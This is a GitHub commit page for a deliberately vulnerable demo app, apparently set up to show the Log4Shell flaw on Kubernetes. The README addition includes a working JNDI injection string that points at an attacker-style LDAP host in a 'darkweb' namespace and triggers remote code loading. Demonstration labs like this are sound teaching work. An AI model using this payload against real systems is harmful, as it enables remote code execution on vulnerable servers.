Skip to content

Commit

Permalink
added instructions
Browse files Browse the repository at this point in the history
  • Loading branch information
JimCodified committed May 2, 2022
1 parent b649cd3 commit 989710a
Show file tree
Hide file tree
Showing 3 changed files with 19 additions and 2 deletions.
6 changes: 5 additions & 1 deletion README-K8S.md
Original file line number Diff line number Diff line change
Expand Up @@ -44,4 +44,8 @@ Run the `/.k8s-quickstop.sh` script at the top level of this repo which will do
2. Deletes the log4shell deployment and associated services in the `darkweb` namespace and deltes the namespace as well
**Note:** This will not delete any additional objects you may have deployed such as NetworkPolicies.

It is up to you to shut down your Kubernetes cluster as appropriate.
It is up to you to shut down your Kubernetes cluster as appropriate.


Command in the app:
`${jndi:ldap://ldap.darkweb:80/#Vandalize}`
2 changes: 1 addition & 1 deletion todolist-goof/k8s/java-goof.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -17,7 +17,7 @@ spec:
app: goof
spec:
containers:
- image: ${DOCKER_ACCOUNT}/java-goof:latest
- image: jimcodified/java-goof:latest
imagePullPolicy: Always
name: java-goof
restartPolicy: Always
Expand Down
13 changes: 13 additions & 0 deletions todolist-goof/k8s/test.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,13 @@
#!/usr/bin/env bash
MYDIR=$(dirname $0)

if [[ "$1" == "" ]]; then
read -e -i "${DOCKER_ACCOUNT}" -p "Please enter your DockerHub user/account name: " input
name="${input:-$DOCKER_ACCOUNT}"
else
DOCKER_ACCOUNT=$1
fi

echo $DOCKER_ACCOUNT
cat $MYDIR/java-goof.yaml | envsubst

0 comments on commit 989710a

Please sign in to comment.